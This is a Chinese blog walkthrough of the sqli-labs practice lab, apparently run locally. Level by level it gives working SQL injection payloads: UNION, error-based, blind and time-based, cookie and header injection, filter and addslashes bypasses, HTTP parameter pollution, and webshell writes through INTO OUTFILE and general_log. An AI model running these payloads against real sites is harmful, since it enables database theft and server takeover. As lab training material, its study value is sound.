国光师傅太强了,准备写 sqli-labs 的博客,发现国光师傅已经写过了。不过俺的思路还是有一些不同之处。
通常下载 Sqli-labs 时,会下载到最初的那个 sqli-labs,但是并不适用于PHP7。
我使用VScode来运行 sql-labs,国光师傅使用的是 Docker 安装。对于我这种菜鸡,还是先采用复杂的方法吧。
闭合方式:id='$id'
闭合方式是非常关键的一步,能正确的闭合 SQL 语句,SQL 注入工作结束一半。
?id=1 # 可以看到登陆的用户名和密码
?id=1' # SQL报错(1'' LIMIT 0,1),并且可以看到部分 SQL 语句(说明存在 SQL 注入)。报错显示 SQL 语句中使用两个单引号导致错误(传参引入的单引号+原来的 SQL 语句中原有的单引号),可以在传参引入的单引号后添加注释符来注释后面那个单引号)。
?id=1'# # 报错。原因:在URL中GET可能作为锚点,无法传到后端。所以该用--+,--+的传入后端url解码后是-- (注意空格),当然也可以采用%23(手动url编码)
?id=1'%23 # 正常回显
?id=1'--+ # 正常回显(SELECT * FROM users WHERE id='1' --+' LIMIT 0,1)
如果需要分析 SQL 注入的 SQL 变化,可以考虑修改源码来观察 SQL 语句。
这里有个值得思考的测试
?id=1%23 # SQL语句:SELECT * FROM users WHERE id='1#' LIMIT 0,1
按照正常思路,应该什么也查不到才对,结果却能正常查询id=1。
我们可以考虑在 Navicat 中进行测试,确定这种查询真实存在。
上面这两种查询的结果都是一样的,非常奇怪吧?
和PHP的弱类型一样,MySQL也有弱类型,在闭合 SQL 语句时是会经常用到的。具体可以参考下面这片文章:MySQL 字符串类型用数字可以查出来 MySQL字符串类型会转换成数字 MySQL隐式类型转换。
开始搜集数据库中的数据,常见的信息搜集有:
system_user() 系统用户名
user() MYSQL用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 当前数据库名
schema() 当前数据库名
version() 当前数据库版本信息
@@version
load_file() MYSQL读取本地文件
@@datadir Location of DB files
@@hostname 服务器主机名
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
简单的测试一下常见的信息
# 查询数据库名
?id=0' union select 1, database(), 3%23
# 查询数据库版本
?id=0' union select 1, version(), 3%23
# 查询数据库用户
?id=0' union select 1, user(), 3%23
#数据库路径
?id=0' union select 1, @@datadir, 3%23
# 操作系统版本
?id=0' union select 1, @@version_compile_os, 3%23
# 查询所有的数据库名
# SELECT GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA
id=0' union select 1, 2, group_concat(schema_name) from information_schema.schemata%23
# 查询某个数据库的数据表名
# SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ # hex编码
# 查询某个数据库的某个表的字段名
# SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema='security' and table_name='users'
?id=0' union SELECT 1, 2, GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema='security' and table_name='users' --+
# 查询数据表的数据
?id=0' union select 1, 2, group_concat(id, username, password) from users --+
需要更进一步的学习手工注入,可以参考这片文章:新手科普 | MySQL手工注入之基本注入流程
闭合方式:id=$id
和上一题主要是闭合方式不同。
?id=1 # 正常显示
?id=1 --+ # 正常显示
?id=1' # 正常显示
?id=1' --+ # 错误(并没有看到引号,故该题的闭合方式是数字型)
?id=0 union select 1,2, 3 --+ # 回显2,3。说明显示第2个字段和第3个字段。
和 less-1 的区别:闭合方式。less-1 是字符类型,有单引号包裹。less-2 是 int 类型,不需要单引号。其他注入获取信息的姿势是一样的。
SELECT * FROM users WHERE id='$id' LIMIT 0,1
SELECT * FROM users WHERE id=$id LIMIT 0,1
闭合方式:id=('$id')
?id=1'
# 报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
# 在SQL语句中有小括号(可以在本地先进行测试)。考虑将括号进行闭合
?id=1') --+
# 正常显示
?id=1') and 1=1 --+
# 正常显示
?id=1') and 1=0 --+
# 没有数据
?id=0') and 1=1 union select 1,2, 3 --+
# Your Login name:2,Your Password:3。说明显示第2个字段和第3个字段。
简单分析:
# 本题:
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
# 前两题:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
SELECT * FROM users WHERE id=$id LIMIT 0,1
# 前三个都只是闭合的方式不同
闭合方式:id=("$id")
?id=1"
# s You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
# 依然有括号,尝试闭合括号
?id=1") --+
# 正常输出
?id=1") and 1=1 --+
# 正常输出
?id=1") and 1=0 --+
# 不显示
?id=0") and 1=0 union select 1, 2, 3 --+
# Your Login name:2,Your Password:3。说明显示第2个字段和第3个字段。
简单分析:
# 本题:
SELECT * FROM users WHERE id=("$id") LIMIT 0,1
# 前三题:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
SELECT * FROM users WHERE id=$id LIMIT 0,1
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
# 闭合方式不同
闭合方式:id='$id'
前面 4 个 lession 都是最基本的注入姿势,并且是能够查询得到返回结果的。按照回显方式
来分类的话,我认为可以分为 5 类:
注意:这里仅按照回显方式分类。很难做到完全 MECE 原则(Mutually Exclusive, Collectively Exhaustive / 相互独立、完全穷尽),通常按照下面的优先原则进行:
联合注入>报错注入>布尔注入>延时注入>其他(DNSlog)
?id=1
# s You are in...........
# 没有用户信息。只能考虑报错注入、布尔注入、时间盲注。
?id=1"
# s You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1' at line 1
# 闭合单引号
?id=1' --+
# 正常输出
?id=1' and 1=1 --+
# 正常输出
?id=1' and 1=0 --+
# 不显示
?id=0' and 1=0 union select 1, 2, 3 --+
# You are in...........,无法得到数据
根据上面的优先级,我们考虑先报错注入开始测试
id=0' and 1=0 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1); --+
# s XPATH syntax error: '~8.0.19~'
# 将 select @@version 进行修改即可查询其他的数据。
原理:MySQL在执行SQL语句时,某些函数会将子查询的结果显示在报错信息中。更多的报错注入参考:先知社区-MYSQL报错注入的一点总结
尝试使用布尔注入进行测试,布尔注入会稍微比较复杂,不过基本原理不算复杂。
基本原理:用true与false去一点点确定信息,汇总之后就能得到整个数据库的信息。如:
- 问:数据库名长度大于8?
- 答:false
- 问:数据库名长度小于8?
- 答:false(可以确定数据库的长度为8)
- 问:数据库第一个首字母是s?
- 答:是
简单验证是否能进行布尔注入
?id=1' and 1=1 --+
# 正常显示
?id=1' and 1=0 --+
# 不显示
利用页面内容的显示和不显示,来判断我们查询的内容是什么。将我们想要查询的内容进行拆分,然后逐个判断。例如:想要知道数据库名,我们可以先询问系统:“第一个字符是不是a?”,如果不是,就继续询问是否为b,直到问出结果。然后再去寻找第二个字符。
常用的函数:
?id=1' and substr(database(), 1, 1)="a" --+
# 不显示
?id=1' and substr(database(), 1, 1)="s" --+
# 正常显示
?id=1' and substr(database(), 1, 8)="security" --+
# 正常显示
?id=1' and substr(database(), 1, 8)=0x7365637572697479 --+
# 正常显示
我们将中间的database(),替换成其他的SQL语句就可以查询其他的结果了。
时间盲注通常在看不到任何回显信息的时候尝试,时间盲注是在布尔注入的基础上的。布尔注入是利用网站自带的回显,而时间注入则是将 true 和 false 转化为不同的等待时间。直接修改上面的 Payload 可得:
?id=1' and if(substr(database(), 1, 8)=0x7365637572697479, sleep(5), 1) --+
# 有明显的延时
简单分析:
这个 lession 和前面的不同点在于回显方式。这个 lession 并不会像先前一样,显示并返回查询到的信息,而是告诉你是否正确。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo '';
// 关键语句
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysqli_error($con1));
echo "";
echo '';
}
}
闭合方式:id="$id"
测试闭合方式:
?id=1
# s You are in...........
?id=1 --+
# 正常显示
?id=1" --+
# 正常显示()
?id=1" and 1=1 --+
# 正常显示
?id=1" and 1=0 --+
# 不显示
将 and 后的式子替换为 less-5 中的报错注入、布尔注入和时间注入即可。
闭合方式:id=(('$id'))
?id=1')) --+
# 闭合SQL语句
?id=1')) union select 1, 2, '' into outfile '/Users/littlechieh6/Documents/project/sqli-labs-php7/shell.php'--+
# 会将查询结果保存到服务器端的目录下。可以考虑写入服务器后台
闭合方式:id='$id'
和前面几题不同点在于:不输出报错信息。
?id=1
# You are in...........
?id=1' --+
# 正常显示
?id=1' and 1=1--+
# 正常显示
?id=1' and 1=0--+
# 不显示
# 考虑参考less-5中的布尔注入进行测试
?id=1' and substr(database(), 1, 1)="a" --+
# 不显示
?id=1' and substr(database(), 1, 1)="s" --+
# 正常显示,修改函数的内容,即可得到后面的内容
闭合方式:id='$id'
无论怎么输入都是返回 You are in……。考虑使用时间盲注
?id=1' and sleep(3) --+
# 使用--+或者%23,如果使用#浏览器可能不进行url编码
此处id=1,并且发现有延时。
这里依然考虑使用 if 语句来进行时间盲注(if 语句挺像C语言的三目运算符的)。类似前面的方法,使用 if+sleep 来先获取数据库名字的长度
# 1. 二分
?id=1' and if(length(database())>0, sleep(3), 1) --+ # 延时,正常执行
?id=1' and if(length(database())=0, sleep(3), 1) --+ # 不延时
# 用来测试if语句是否正常执行
?id=1' and if(length(database())>10, sleep(3), 1) --+ # 不延时
?id=1' and if(length(database())>5, sleep(3), 1) --+ # 延时,代表在 5, 10 之间
?id=1' and if(length(database())>8, sleep(3), 1) --+ # 不延时,在 [8, 5)
?id=1' and if(length(database())=8, sleep(3), 1) --+ # 延时,长度为8
#2. 逐个测试
?id=1' and if(length(database())=1, sleep(3), 1) --+
?id=1' and if(length(database())=2, sleep(3), 1) --+
LEFT(str,len) 返回最左边的 len 个字符的字符串,或者 NULL。
mysql> select left('foobarbar', 5);
+----------------------+
| left('foobarbar', 5) |
+----------------------+
| fooba |
+----------------------+
1 row in set (0.00 sec)
使用 left 来爆破数据库的名字
?id=1' and if(left(database(), 1)='a', sleep(3), 1) --+
?id=1' and if(left(database(), 1)='b', sleep(3), 1) --+
……
……
?id=1' and if(left(database(), 1)='s', sleep(3), 1) --+ # 明显延时
?id=1' and if(left(database(), 2)='sa', sleep(3), 1) --+
……
……
?id=1' and if(left(database(), 2)='se', sleep(3), 1) --+
# 类似上面的方法,慢慢的增加长度,修改需要对比的字符串,可以得到完整的数据库名
?id=1' and if(left(database(), 8)='security', sleep(3), 1) --+ # 明显延时
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
需要注意:limit N,M : 相当于 limit M offset N , 从第 N 条记录开始(从0开始), 返回 M 条记录。这里使用的limit x,1 查询第x个表名。
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
闭合方式:id="$id"
将单引号改为双引号即可,其他相同。
11 到 21 关都是 POST 型,使用 Hackbar 可以方便的发送 POST 数据
基本操作:
enctype 属性:规定在发送到服务器之前应该如何对表单数据进行编码。
闭合方式:username='$uname'
当我尝试使用 Hackbar 提交表单,Hackbar 给出 form.submit is not a function 的错误信息。
解决方法:将表单中的 &submit=Submit 删掉。
后面按照回显方式的由易到难进行测试,这题能正常回显用户名和密码,说明可以正常使用联合注入进行回显。
passwd=D&uname=Dum' union select 1, 2 --+
passwd=D&uname=Dumb' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
# 数据库版本
passwd=D&uname=Dumb' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
# 数据库名
passwd=D&uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
# 表名
passwd=D&uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
# 字段名
passwd=D&uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+
# 数据
得到回显XPATH syntax error: ‘8.0.19’,即可以进行报错注入,爆破信息同上面的方法。
passwd=D&uname=Dumb' and 1=1--+ # 正常登陆
passwd=D&uname=Dumb' and 1=2--+ # 登陆错误
这里非常类似前面 GET 的基于布尔的字符型注入。延时注入是基于布尔注入的,当界面无法进行回显的时候才会考虑使用延时注入。
闭合方式:password=('$passwd')
类似上题只使用一个单引号进行闭合,来观察报错信息,根据报错信息来进行注入。
passwd=Dumb&uname=Dumb'
就能看到如下报错信息
可以从上图看到,在单引号之后有一个单引号和括号,说明这题需要使用括号。
再次尝试闭合SQL语句
passwd=Dumb&uname=Dumb') --+
正常登陆后,这题并没有显示查询结果,只是显示你是否登陆,所以不能使用联合注入。
尝试报错注入(报错注入通过报错信息进行回显)。
passwd=Dumb&uname=Dumb') and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+
根据回显结果可以看出:该题能正常回显报错信息,即可以进行报错注入。
尝试时间盲注。
passwd=Dumb&uname=Dumb') and if(left(database(), 1)='s', sleep(3), 1)--+
能发现有明显的等待,即可以进行时间盲注。
闭合方式:password="$passwd"
类似前面的步骤进行测试。
passwd=Dumb&uname=Dumb'
passwd=Dumb&uname=Dumb"
可以通过 报错信息观察到 SQL 语句的局部,通过局部来推测自己的SQL应该如何写。
报错注入 Payload
passwd=Dumb&uname=Dumb" and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
时间盲注 Payload
passwd=Dumb&uname=Dumb" and if(length(database())=8, sleep(3), 1)--+
闭合方式:password='$passwd'
尝试使用前面的步骤回显出 SQL 语句
passwd=Dumb&uname=Dumb'
passwd=Dumb&uname=Dumb"
没有回显报错信息,而且都登陆失败,猜测可能关闭和报错的输出
尝试直接注释,如果能SQL注入,那么用户名正确就能登陆系统。
passwd=Dumb&uname=Dumb' --+
登陆成功。
我们可以在后面拼接 and,and 之后的值为 true 就会正常登陆,值为 false 就登陆失败。(我们拼接的 SQL 语句都在 where 后,where 语句的功能就是根据布尔值进行筛选)
passwd=Dumb&uname=Dumb' and 1=1 --+
passwd=Dumb&uname=Dumb' and 1=2 --+
闭合方式:password=("$passwd")
方法同上
闭合方式:password = '$passwd'
进行简单测试
passwd=Dumb&uname=Dumb'
passwd=Dumb&uname=Dumb' --+
并没有结果返回
查看源码后发现,在执行SQL语句之前对输入的用户名做了检查。
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
但是没有对密码进行限制,password被直接拼接到SQL语句中。
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
然后发现使用 passwd=Dumb' and 1=1 --+&uname=Dumb
会发生报错并将报错信息进行显示。发送下面的数据,就可以进行报错注入。
passwd=Dumb' and updatexml(1, concat(0x7e, user(), 0x7e), 1) --+&uname=Dumb
时间盲注 Payload
passwd=Dumb' WHERE username='Dumb' and if(1, sleep(3), 2) --+&uname=Dumb # 明显延时
passwd=Dumb' WHERE username='Dumb' and if(0, sleep(3), 2) --+&uname=Dumb
闭合方式:VALUES ('$uagent')
(两侧闭合)
登陆之后,发现查询到的信息是 User-agent,尝试在 Hackbar 添加 Header。
发现报错信息,说明可以采用报错注入的方式获得回显信息。
尝试闭合SQL语句
1' and sleep(3) --+
1' and sleep(3) #
1' and sleep(3) %23
并没有收获
查看源码后发现 password 和 username 都被上一题的检查函数所检查,而 User-agent 在另一个 SQL 语句(插入数据)中,所以不管怎么包裹都无法在 INSERT 语句中得到回显。
故需要换一种闭合方式(在两侧进行闭合)
' and sleep(3) and '
将 INSERT 语句闭合成
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and sleep(3) and '', '127.0.0.1', 'Dumb')
uagent 字段就会被插入’‘和’'进行与运算的结果(即0)
mysql> select '' and sleep(3) and '';
+------------------------+
| '' and sleep(3) and '' |
+------------------------+
| 0 |
+------------------------+
1 row in set (0.00 sec)
报错注入payload
' and updatexml(1, concat(0x7e, database(), 0x7e), 1) and '
闭合方式:VALUES ('$uagent')
(两侧闭合)
' and updatexml(1, concat(0x7e, database(), 0x7e), 1) and '
闭合方式:username='$cookee'
推荐插件 EditThisCookie
登陆之后,网页中存储了键为 Dumb、值为 Dumb的 Cookie。修改 Cookie 值之后,进行刷新就能看见报错信息
# 修改Cookie的值为
Dumb' #
# 这里不能使用 --+。原因:+ 号在 Cookie 中不会被 URL 解码为空格可以采用下面这种方式。
Dumb'--%20
# 测试回显的字段
Dum' union select 1, 2, 3--%20
# 查看数据库
Dum' union select 1, 2, database()--%20
联合注入 Payload
Dum' union select 1, 2, database()--%20
报错注入 Payload
Dum' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--%20
布尔盲注 Payload
Dumb' and if(database()='security', 1, 0)--%20
时间盲注 Payload
Dumb' and if(database()='security', sleep(3), 0)--%20
闭合方式:username=('$cookee')
关键词:cookie、base64加密、单引号和括号
# 进行简单的闭合
Dumb') #
# base64加密后:RHVtYicpICM=
# Union注入Payload
Dum') union select 1, 2, 3#
# 报错注入Payload
Dum') and updatexml(1, concat(0x7e, database(), 0x7e), 1)-- (最后有一个空格,也可以使用#)
# base64加密后:RHVtJykgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSwgMHg3ZSksIDEpLS0g
# 没有空格加密后:RHVtJykgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSwgMHg3ZSksIDEpLS0=
# 时间盲注Payload
Dumb') and if(database()='security', sleep(3), 0)#
闭合方式: username="$cookee"
关键词:cookie、base64加密、双引号
同上一题,将单引号和括号改为双引号即可
# Union注入Payload
Dum" union select 1, 2, 3#
闭合方式:id='$id'
关键词:基于错误、过滤注释
# 尝试进行闭合(注释被替换成为空)
?id=1' and sleep(3) and '1
# 国光大师傅的Payload:
?id=-1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3 and '1'='1
题目源码
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
正如源码所示,将 # 和 – 替换为空,所以可以采用闭合的方式进行注入。
关键词:经典二次注入、存储注入
二次注入通常在注册的位置,插入数据的时候不会产生错误信息,但是在执行其他语句的时候发生了错误。
(第一次是向数据库插入Payload,第二次是利用Payload)
Update语句
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
当用户名为 admin’# 时,sql 语句会变成
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
这样就会修改 admin 的密码,而不是我自己注册的账号。
通过这个页面 http://localhost:4000/Less-24 进入注册页面失败,发现是文件路径未找到。在后面填加 index 之后就正常执行了,即访问:http://localhost:4000/Less-24/index.php。
注册新用户
在修改页面进行密码修改,即可修改 admin 的密码。
闭合方式:id='$id'
关键词:GET 类型、过滤 and+or。
关键代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里的 or 和 and 只被替换了一次,所以可以采用双写绕过。
# 联合注入 Payload
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)--+
# 其中 password 改为 passwoord,separator 改为 separatoorr(设置分隔符),0x3c62723e 是十六进制的
and 可以使用 && 替换,or 使用 || 替换
# 报错注入Payload
?id=1'||extractvalue(1,concat(0x7e,database()))--+
?id=1'||extractvalue(1,concat(0x7e,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)))--+
闭合方式:id='$id'
关键词:报错注入、过滤空格和注释符、过滤 and 和 or、单引号
# 过滤了 or 和 and 大小写
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
# 过滤了 -- 和 # 注释
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
# 过滤了空格
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
# 测试是否可以执行
?id=1'%26%26sleep(3)%26%26'1
# 其中%26是&,使用两侧闭合方式绕过注释
# 报错注入Payload
?id=1'%26%26extractvalue(1,concat(0x7e,database()))%26%26'1
闭合方式:id=('$id')
关键词:盲注、布尔注入、延时注入
?id=1
?id=1'%26%26'1
# 返回结果相同,成功闭合SQL语句
闭合方式:id=('$id')
关键词:基于错误、过滤 Union 和 Select
# 测试能否闭合
?id=1'%26%26'1
?id=1'%26%26sleep(3)%26%26'1
# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤了 -
$id= preg_replace('/[--]/',"", $id);
# 过滤了 #
$id= preg_replace('/[#]/',"", $id);
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);
# 过滤了 select /m 严格模式 不可以使用双写绕过
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
# 过滤了 union UNION
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
return $id;
进行报错注入(类似 less-26)
# 报错注入 Payload
?id=1'%26%26extractvalue(1, concat(0x7e, database()))%26%26'1
?id=1'%26%26extractvalue(1, concat(0x7e, seleselectct database()))%26%26'1
闭合方式:id="$id"
同 less-27,闭合方式不同。没有输出报错信息,所以不能报错注入。关键代码:
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
尝试注入
# 测试闭合情况
?id=1%26%261
?id=1"%26%26sleep(3)%26%26"1
闭合方式:id=('$id')
关键词:基于错误、过滤 Union 和 Select、单引号+括号
关键代码
# 过滤 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤 - # 注释
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
# 过滤 空格 +
$id= preg_replace('/[ +]/',"", $id);.
# 过滤 union select /i 大小写都过滤
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
过滤 union select /i 大小写都过滤:只能采用双写的方式进行注入
# 测试SQL语句是否执行
?id=1')%26%26sleep(3)%26%26('1
# 延时注入Payload
?id=1')%26%26if(database()='security', sleep(3), 1)%26%26('1
闭合方式:id=('$id')
关键代码:
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
测试 Payload:
# 闭合 SQL
?id=1')--+
# 联合注入 Payload(国光大佬的 payload 测试失败)
?id=0') union/**/select 1, 2, 3--+
闭合方式:id='$id'
关键词:GET、基于错误、WAF
index.php 关键代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 有结果:
输出
else:
输出报错信息
第一题太简单了吧,联合注入 Payload
?id=0' union select 1, 2, 3--+
login.php 关键代码
// 获取查询的字符串
$qs = $_SERVER['QUERY_STRING'];
// 模拟Tomcat进行中间过滤
$id1=java_implimentation($qs);
$id=$_GET['id']
// 白名单
whitelist($id1);
// SQL语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// WAF
function whitelist($input)
{
// 检测数字 以数字开头,以数字结尾
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
// 限制id的长度
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "
";
break;
}
}
}
同时传入两个 id,当前一个 id 被 java_implimentation 捕获的时候(模拟 Tomcat 的解析),第一个 id 就会进入 WAF,如果检测合格则将 GET 参数中的 id 插入 SQL 语句(第二个 id,而不是进入 WAF的 id)。最后的 payload
?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
闭合方式:id="$id"
同第29题,仅闭合方式不同。
# 简单测试一下
?id=1&id=2" and sleep(3) --+
# 联合注入
?id=1&id=0" union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
闭合方式:id=("$id")
同29题,仅拼接方式不同。
# unino注入
?id=1&id=0") union select 1, 2, 3--+
闭合方式:id="$id"
关键词:GET、联合注入、报错注入、布尔盲注、延时注入、绕过addslashes
关键代码
if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);
# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{ # \ 转换为 \\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
# 将 ' 转为\"
$string = preg_replace('/\'/i', '\\\'', $string);
# 将 " 转为\"
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
宽字节注入原理:
# 简单测试
?id=1%df' and sleep(3)--+
# 有明显延时
?id=1%5c' and sleep(3)--+
# 没有延时
# union注入
?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
闭合方式:id='$id'
关键词:绕过 addslashes
类似上一题,不过采用 addslashes 函数添加反斜杠,Payload 同上一题
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes函数转义的字符
\ => \\
' => \'
" => \"
闭合方式:username='$uname'
过滤方法同 less-33
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
尝试注入
# union注入
uname=admin%df' union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=233
还可以使用 UTF-16 或 UTF-32,效果同%df
~ » echo \' | iconv -f utf-8 -t utf-16
��'
-------------------------------------------------------------
~ » echo \' | iconv -f utf-8 -t utf-32
��'
构造万能密码
uname=�' or 1#&passwd=
在 MySQL 中执行的 SQL 语句
SELECT username, password FROM users WHERE username='�' or 1#and password='$passwd' LIMIT 0,1
这个符号的效果类似于 %df,进行联合注入
uname=�' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
闭合方式:id=$id
这个关卡不需要使用单引号即可进行注入
?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+
闭合方式:id='$id'
关键词:绕过 mysql_real_escape_string 函数
mysql_real_escape_string 函数类似 addslashes 函数,会对反斜杠、单引号、双引号进行检测并添加转义字符,所以方法和 less-34 一样
?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+
?id=-1�' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+
闭合方式:username='$uname'
关键词:绕过 mysql_real_escape_string 函数
同上一题,GET 方法改为 POST 方法。
uname=%df' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
uname=�' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
闭合方式:id='$id'
添加字段值
?id=1';insert into users(username,password) values ('hello','world');
使用 SQL 语句进行查询是否添加成功
select * from users;
条件:
无 windows 暂时不测试
条件:
查看本地配置
mysql> show variables like 'general%';
+------------------+-----------------------------------------------------+
| Variable_name | Value |
+------------------+-----------------------------------------------------+
| general_log | OFF |
| general_log_file | /Applications/MxSrvs/bin/mysql/data/MacBook-Pro.log |
+------------------+-----------------------------------------------------+
2 rows in set (0.00 sec)
默认没有开启,尝试手动开启,并配置目录路径(我的项目路径为:/Users/littlechieh6/Documents/project/sqli-labs-php7)
?id=1';set global general_log = "ON";set global general_log_file='/Users/littlechieh6/Documents/project/sqli-labs-php7/shell.php';--+
再次查看配置
mysql> show variables like 'general%';
+------------------+----------------------------------------------------------------+
